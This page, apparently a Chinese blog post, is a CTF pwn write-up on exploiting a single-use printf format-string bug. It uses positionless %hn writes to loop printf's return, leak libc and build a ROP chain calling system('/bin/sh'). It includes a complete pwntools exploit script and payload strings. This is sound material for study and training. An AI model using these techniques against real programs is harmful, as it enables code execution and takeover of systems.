当前位置: 首页 > news >正文

printf 一次性写

PWN里printf漏洞感觉很小,可发现居然理解的不全。

一般情况下,当buf不在栈内时,就不能直接写指针。这时候需要用到rbp链或者argv链。一般操作是第一次改指针,第二次改数值。

DAS昨天这里只给了一次机会然后就exit了。今天ckyen给了个WP的链接 一次有趣的格式化字符串漏洞利用 | ZIKH26's Blog

照着这题把昨天那题复现一把。

一般printf的格式是: %88c%9$hhn

前边88c是输出88个字符,计数器会变成88,然后9$ 表示偏移,hhn表示写入的格式是1字节.

这里边9$会在printf前边处理完后再写入。如果想用一次输出既写指针又写值就办不到了。而文中的方法使可以直接写。

这个格式是这样的:%88c%hn

这里少了偏移,那么怎么指定偏移呢,就由前边的%个数来确定。比如%p%p%88c就是3,并不管这些%的是用来干啥。

先看下题目原码

  strcpy(s, "Easy Challange");puts(s);printf("Gift addr: %lx\n", s);memset(s, 0, 0x20uLL);strcpy(s, "Please leave your message: ");printf("%s", s);memset(s, 0, 0x20uLL);read(0, buf, 0x100uLL);printf(buf);            #修改返回地址,执行完printf后返回执行read_exit(0);

再看下栈的情况,这里在8,10再个位置恰好有两个指针。而rsp的偏移是6,那么可以直接利用偏移7处的指针写偏移49处的值,使它指向-8 也就是 printf函数的返回地址位置。将这个位置修改1字节,使其它返回地址 0x401366改为0x40133f重新回到read+printf。

0x00007fffffffddf0│+0x0000: 0x00000000000000c2   ← $rsp
0x00007fffffffddf8│+0x0008: 0x00007fffffffdf48  →  0x00007fffffffdde8  →  0x40133f
0x00007fffffffde00│+0x0010: 0x00007fffffffdf38  →  0x00007fffffffde10  →  pop_rdi,bin_sh,system
0x00007fffffffde08│+0x0018: 0x00000001004013bd
0x00007fffffffde10│+0x0020: 0x0000000000000000
0x00007fffffffde18│+0x0028: 0x0000000000000000
0x00007fffffffde20│+0x0030: 0x0000000000000000
0x00007fffffffde28│+0x0038: 0x0000000000000000
0x00007fffffffde30│+0x0040: 0x00007fffffffdf30  →  0x0000000000000001
0x00007fffffffde38│+0x0048: 0xac1d9c1a370f3f00
0x00007fffffffde40│+0x0050: 0x0000000000000000   ← $rbp
0x00007fffffffde48│+0x0058: 0x00007ffff7df9083  →  <__libc_start_main+243> mov edi, eax

所以这个第1个payload构造成这样

off2 = (0xdf48 - 0xddf0)//8 + 6
off1 = off2 - 2pad = 5
pay = '%1c'*5  #利用偏移7的指针,需要前边使用6次%,前5次各输出1字节,也可用%p之类,只是%1c更容易计算输出的长度。
#利用栈里的两个指针(偏移7,8)一个指向printf_ret造循环,一个指向v1写ROP
pay += f"%{(stack-0x28-pad)&0xffff}c%hn" #7:ptr:df48 -> 49:printf_ret:dde8 -> 0x401366
pay += f"%{0x28}c%8$hn"  #8 off1:df98->v1  #同时改下偏移8指向ROP位置,后边写ROP用
#第1个指针利用无偏移的%hn修改,然后将printf_ret修改为0x3f重新循环,以后每次执行都利用这个指针修改
pay += f"%{(0x3f - stack)&0xff}c%{off2}$hhn"  #将printf_ret 0x66->0x3f 实现循环
pay += f"libc:%17$p,"  #最后泄露下libc地址 

后边都是常规操作,由于n$的偏移会最后写,所以每次修改的下次使用的指针

1,利用这个指针修改printf_ret实现维持循环,

2,利用另一个指针写ROP,

3,修改指向ROP的指针。

最后将 printf_ret改成ppp4跳到ROP执行

from pwn import *context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
libc = ELF('./libc.so.6') #libc-2.31-0ubuntu9.15p = process('./pwn2')gdb.attach(p, "b*0x40133f\nc")p.recvuntil(b"Gift addr: ")
stack = int(p.recvline(),16)off2 = (0xdf48 - 0xddf0)//8 + 6
off1 = off2 - 2pad = 5
pay = '%1c'*5  #len=5 
pay += f"%{(stack-0x28-pad)&0xffff}c%hn" #6 rsp 7 ptr:df48 -> printf_ret:dde8
pay += f"%{0x28}c%8$hn"  #8 off1:df98->v1
pay += f"%{(0x3f - stack)&0xff}c%{off2}$hhn"  #printf_ret 0x66->0x3f
pay += f"libc:%17$p,"  #泄露libc地址 
p.sendafter(b"Please leave your message: ", pay.ljust(0x100-3,'A').encode()+b'END')p.recvuntil(b'libc:')
libc.address = int(p.recvuntil(b',')[:-1],16) - 243 - libc.sym['__libc_start_main']
p.recvuntil(b'END')print(f"{libc.address = :x}")pop_rdi = 0x4013d3
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']#off2->printf_ret
payload = flat(pop_rdi,bin_sh,system)
for i,v in enumerate(payload):pay = f"%{0x3f}c%{off2}$hhn"  #维持循环if v!=0x3f:pay += f"%{(v-0x3f)&0xff}c%{off1}$hhn" #pay[i]  #写1字节ROPelse:pay += f"%{off1}$hhn"pay += f"%{(stack+i+1-v)&0xff}c%8$hhn" #修改下次指针p.send(pay.ljust(0x100-3,'A').encode()+b'END')p.recvuntil(b'END')#将printf_ret改为ppp4,跳过中间过程执行ROP:pop_rdi,bin_sh,system
ppp4 = 0x4013cc
pay = f"%{0xcc}c%{off2}$hhn" #printf_ret->ppp4
p.send(pay.ljust(0x100-3,'A').encode()+b'END')
p.interactive()

相关文章:

printf 一次性写

PWN里printf漏洞感觉很小&#xff0c;可发现居然理解的不全。 一般情况下&#xff0c;当buf不在栈内时&#xff0c;就不能直接写指针。这时候需要用到rbp链或者argv链。一般操作是第一次改指针&#xff0c;第二次改数值。 DAS昨天这里只给了一次机会然后就exit了。今天ckyen给…...

【Axure高保真原型】切换查看大图列表

今天和大家分享切换查看大图列表的原型模板&#xff0c;我们可以点击列表里的图片查看对应的大图&#xff0c;点击左右箭头可以切换切换上一页或下一页&#xff0c;如果是首页会自动禁用左箭头&#xff0c;末尾页会自动禁用右箭头。这个原型模板是用中继器制作的&#xff0c;所…...

Ant-Design-Vue动态表头并填充数据

Ant-Design-Vue动态表头并填充数据 Ant-Design-Vue 是一个基于 Vue.js 的前端UI框架&#xff0c;它继承了 Ant Design 的优秀设计理念&#xff0c;并针对 Vue.js 进行了深度优化。在实际开发过程中&#xff0c;我们经常需要处理各种复杂的表格数据&#xff0c;而 Ant-Design-V…...

Python-匿名函数

一、概念 匿名函数造出来的是一个内存地址&#xff0c;且内存地址没有绑定任何名字&#xff0c;很快被当做垃圾清理掉。所以匿名函数只需要临时调用一次&#xff0c;而有名函数永久使用&#xff1b; 匿名函数一般和其他函数配合使用&#xff1b; # 有名函数def func(x, y):…...

探索Web3工具:正确使用区块链平台工具的秘诀

在当今日新月异的数字时代&#xff0c;区块链技术正以惊人的速度改变着我们的生活和工作方式。尤其对于那些想要踏入区块链世界的人来说&#xff0c;正确使用区块链平台工具至关重要。本文将向您介绍一些关键的Web3工具&#xff0c;并以TestnetX.com为例&#xff0c;展示如何利…...

器利而事善——datagrip 的安装以及连接mysql

一&#xff0c;安装 下载&#xff1a;直接到官网下载即可&#xff0c; 破解&#xff1a;这是破解连接&#xff1a;https://pan.baidu.com/s/11BgOMp4Z9ddBrXwCVhwBng &#xff0c;提取码&#xff1a;abcd&#xff1b; 下载后&#xff0c;选择倒数第三个文件&#xff0c;打开da…...

C++标准模板(STL)- 迭代器库-迭代器原语-用于指示迭代器类别的空类类型

迭代器库-迭代器原语 迭代器库提供了五种迭代器的定义&#xff0c;同时还提供了迭代器特征、适配器及相关的工具函数。 迭代器分类 迭代器共有五 (C17 前)六 (C17 起)种&#xff1a;遗留输入迭代器 (LegacyInputIterator) 、遗留输出迭代器 (LegacyOutputIterator) 、遗留向前…...

ClickHouse 使用技巧总结

文章目录 数据导入、导出技巧外部文件导入导技巧使用集成表引擎导入、导出数据 建表技巧表引擎选择技巧分区键选择技巧数据结构选择技巧分区技巧 高级技巧物化视图投影位图变更数据捕获 常见报错及处理方法 数据导入、导出技巧 外部文件导入导技巧 ClickHouse作为OLAP即席分析…...

论文浅尝 | THINK-ON-GRAPH:基于知识图谱的深层次且可靠的大语言模型推理方法...

笔记整理&#xff1a;刘佳俊&#xff0c;东南大学硕士&#xff0c;研究方向为知识图谱 链接&#xff1a;https://arxiv.org/pdf/2307.07697.pdf 1. 动机 本文是IDEA研究院的工作&#xff0c;这篇工作将知识图谱的和大语言模型推理进行了结合&#xff0c;在每一步图推理中利用大…...

前端科举八股文-VUE篇

前端科举八股文-VUE篇 Vue响应式的基本原理?computed和watch的区别computed和methods的区别Slot是什么 ? 作用域插槽是什么?组件缓冲keep-alive是什么&#xff1f; 讲讲原理v-if&#xff0c;v-show的区别v-modal如何实现双向绑定组件中的data属性为什么是一个函数而不是对象…...

Websocket服务端结合内网穿透发布公网实现远程访问发送信息

文章目录 1. Java 服务端demo环境2. 在pom文件引入第三包封装的netty框架maven坐标3. 创建服务端,以接口模式调用,方便外部调用4. 启动服务,出现以下信息表示启动成功,暴露端口默认99995. 创建隧道映射内网端口6. 查看状态->在线隧道,复制所创建隧道的公网地址加端口号7. 以…...

GitHub 的底层数据库从 MySQL 5.7 无缝升级到 MySQL 8.0 的实践经验

提到 MySQL 这个数据库软件&#xff0c;相信大家再熟悉不过了&#xff0c;不论是市场流行度还是占有率一直一来都非常靠前。 那再提到 MySQL 5.7 这个具体的版本&#xff0c;大家是不是也同样感到非常熟悉&#xff1f; 相信不少个人或者团队的生产环境所用的 MySQL 数据库也曾…...

概率图模型在自然语言处理中的应用

概率图模型在自然语言处理(NLP)中的应用广泛且重要,它结合了概率论和图论,为处理复杂系统中变量之间的概率依赖关系提供了有效的建模方法。以下是概率图模型在NLP中的几个主要应用,结合参考文章中的相关信息进行详细说明: 核心概念与分类: 概率图模型的核心思想是利用图…...

AI网络爬虫:对网页指定区域批量截图

对网页指定区域批量截图&#xff0c;可以在deepseek的代码助手中输入提示词&#xff1a; 你是一个Python编程专家&#xff0c;一步一步的思考&#xff0c;完成一个对网页指定区域截图的python脚本的任务&#xff0c;具体步骤如下&#xff1a; 设置User-Agent: Mozilla/5.0 (…...

centos系统清理docker日志文件

centos系统清理docker日志文件 1.查看docker根目录位置2.清理日志 1.查看docker根目录位置 命令&#xff1a;docker info ,将Docker Root Dir 的值复制下来。如果目录中包含 等特殊符号的目录&#xff0c;需要转义 2.清理日志 创建文件&#xff1a;vim docker_logs_clean.…...

算法金 | Python 中有没有所谓的 main 函数?为什么?

​大侠幸会&#xff0c;在下全网同名[算法金] 0 基础转 AI 上岸&#xff0c;多个算法赛 Top [日更万日&#xff0c;让更多人享受智能乐趣] 定义和背景 在讨论Python为何没有像C或Java那样的明确的main函数之前&#xff0c;让我们先理解一下什么是main函数以及它在其他编程语言…...

RocketMQ相关知识知多少

一、RocketMQ的定义 官网网址&#xff1a;领域模型概述 | RocketMQ Apache RocketMQ 自诞生以来&#xff0c;因其架构简单、业务功能丰富、具备极强可扩展性等特点被众多企业开发者以及云厂商广泛采用。历经十余年的大规模场景打磨&#xff0c;RocketMQ 已经成为业内共识的金…...

C++vector部分实现及感悟

myvector.h #pragma once #include<assert.h> #include<iostream> #include<vector> using namespace std; namespace bit {template<class T>//必须使用typename场景\template<typename T>与template<class T>一般情况下这两个通用&#…...

MySql什么时候表锁or行锁?

文章目录 锁的基本概念共享锁&#xff08;读锁&#xff09;排他锁&#xff08;写锁&#xff09;锁的兼容性锁的升级和降级 全局锁、表锁、行锁全局锁表锁行锁 何时使用行锁何时使用表锁额外思考&#xff1a; 在数据库的世界里&#xff0c;性能优化是一个永恒的话题。MySQL作为广…...

Stable Diffusion WebUI详细使用指南

Stable Diffusion WebUI&#xff08;AUTOMATIC1111&#xff0c;简称A1111&#xff09;是一个为高级用户设计的图形用户界面&#xff08;GUI&#xff09;&#xff0c;它提供了丰富的功能和灵活性&#xff0c;以满足复杂和高级的图像生成需求。由于其强大的功能和社区的活跃参与&…...

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇&#xff0c;在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下&#xff1a; 【Note】&#xff1a;如果你已经完成安装等操作&#xff0c;可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作&#xff0c;重…...

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...

JavaScript 中的 ES|QL:利用 Apache Arrow 工具

作者&#xff1a;来自 Elastic Jeffrey Rengifo 学习如何将 ES|QL 与 JavaScript 的 Apache Arrow 客户端工具一起使用。 想获得 Elastic 认证吗&#xff1f;了解下一期 Elasticsearch Engineer 培训的时间吧&#xff01; Elasticsearch 拥有众多新功能&#xff0c;助你为自己…...

Java 8 Stream API 入门到实践详解

一、告别 for 循环&#xff01; 传统痛点&#xff1a; Java 8 之前&#xff0c;集合操作离不开冗长的 for 循环和匿名类。例如&#xff0c;过滤列表中的偶数&#xff1a; List<Integer> list Arrays.asList(1, 2, 3, 4, 5); List<Integer> evens new ArrayList…...

React19源码系列之 事件插件系统

事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...

HBuilderX安装(uni-app和小程序开发)

下载HBuilderX 访问官方网站&#xff1a;https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本&#xff1a; Windows版&#xff08;推荐下载标准版&#xff09; Windows系统安装步骤 运行安装程序&#xff1a; 双击下载的.exe安装文件 如果出现安全提示&…...

Redis数据倾斜问题解决

Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中&#xff0c;部分节点存储的数据量或访问量远高于其他节点&#xff0c;导致这些节点负载过高&#xff0c;影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...

智能AI电话机器人系统的识别能力现状与发展水平

一、引言 随着人工智能技术的飞速发展&#xff0c;AI电话机器人系统已经从简单的自动应答工具演变为具备复杂交互能力的智能助手。这类系统结合了语音识别、自然语言处理、情感计算和机器学习等多项前沿技术&#xff0c;在客户服务、营销推广、信息查询等领域发挥着越来越重要…...

GruntJS-前端自动化任务运行器从入门到实战

Grunt 完全指南&#xff1a;从入门到实战 一、Grunt 是什么&#xff1f; Grunt是一个基于 Node.js 的前端自动化任务运行器&#xff0c;主要用于自动化执行项目开发中重复性高的任务&#xff0c;例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...

LCTF液晶可调谐滤波器在多光谱相机捕捉无人机目标检测中的作用

中达瑞和自2005年成立以来&#xff0c;一直在光谱成像领域深度钻研和发展&#xff0c;始终致力于研发高性能、高可靠性的光谱成像相机&#xff0c;为科研院校提供更优的产品和服务。在《低空背景下无人机目标的光谱特征研究及目标检测应用》这篇论文中提到中达瑞和 LCTF 作为多…...